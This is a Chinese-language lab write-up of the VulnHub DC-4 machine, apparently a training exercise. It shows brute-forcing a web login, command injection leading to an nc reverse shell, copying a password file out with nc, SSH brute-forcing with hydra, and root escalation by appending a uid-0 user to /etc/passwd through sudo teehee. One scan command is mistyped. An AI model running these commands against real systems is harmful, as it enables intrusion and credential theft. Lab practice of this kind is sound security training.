介绍

在VMware中搭建环境,网络选择NAT或者桥接,确保攻击机和靶机在同一网络下即可,我这里选择的NAT。

靶机:192.168.254.132(DC-4

攻击机:192.168.254.128(Kali)

物理机:192.168.254.1(Windows10)

信息搜集

网络扫描

扫描靶机IP

$ node -sn 192.168254.1/24

扫描开放的端口和服务

$ nmap -sV -p- 192.168.254.132

靶机开放了80端口和22端口,80端口存在httpd服务

查看相关信息

打开站点,一个登录框,查看插件及代码,未发现任何信息。

漏洞查找及利用

尝试使用burp爆破登录账户。

先抓登录的包,发送到爆破模,选择密码字段。

选择字典,开始爆破。

Kali上的burp是社区版,不支持多线程爆破,直接在物理机上爆了。

可以看到718长度对应的请求是成功登录了的,未登录成功的都是557,顺利拿到密码 happy

尝试登录,发现被重定向了,这里抓包重放。

可以看到登录成功,进入/login.php,可以看到成功登录了。

存在command业务,有三个选项,随便测试一下,可以看到执行了命令,且命令可控。

接下来就是抓包,改命令,反弹shell。

首先监听端口。

$ nc -lvnp 8888

改包执行命令。

$ nc -e /bin/bash 192.168.254.128 8888

成功反弹shell!

flag

先拿到交互式的shell

$ python -c 'import pty;pty.spawn("/bin/bash")'

寻找敏感文件

发现三个用户

$ ls /home

jim 用户目录下发现可疑文件

打开发现是密码本

复制到本地爆破登录密码

先监听端口

$ nc -lvnp 4445 > pass.txt

发到这个端口上

$ nc 192.168.254.128 4445 < old-passwords.bak

爆破

$ hydra -l jim -P /home/nayst/pass.txt 192.168.254.132 ssh

成功拿到密码:jibril04

登录jim账户,提示有邮件未查看。

找到邮件。

$ find / -name mail

两个地址都是一样的。

进入目录发现有一封邮件。

信里可以看到charles把密码发过来了,^xHhA&hvim0y,直接登录。

成功登录!尝试提权。

$ find / -perm -u=s -type f 2>/dev/null
$ sudo -l

利用teehee,往/etc/passwd内追加一条id为0(即管理员身份)的用户

root: x :0:0:root:/root:/bin/bash

字段1: 用户名。

字段2:密码占位符,x代表有密码。

字段3:用户的uid,如果一个用户uid为0则表示该用户超级管理员。

字段4:用户的gid,也就是所属用户组的id。

字段5:用户信息(弃用)。

字段6:用户家目录。

字段7:用户登陆系统后使用的shell。

$ echo "nayst::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

因为此用户无密码,直接切换即可

$ su nayst

成功拿到flag!

总结

学到的知识点

  1. 利用 nc 复制文件。
  2. teehee提权。

参考

vulnhub DC4 靶场练习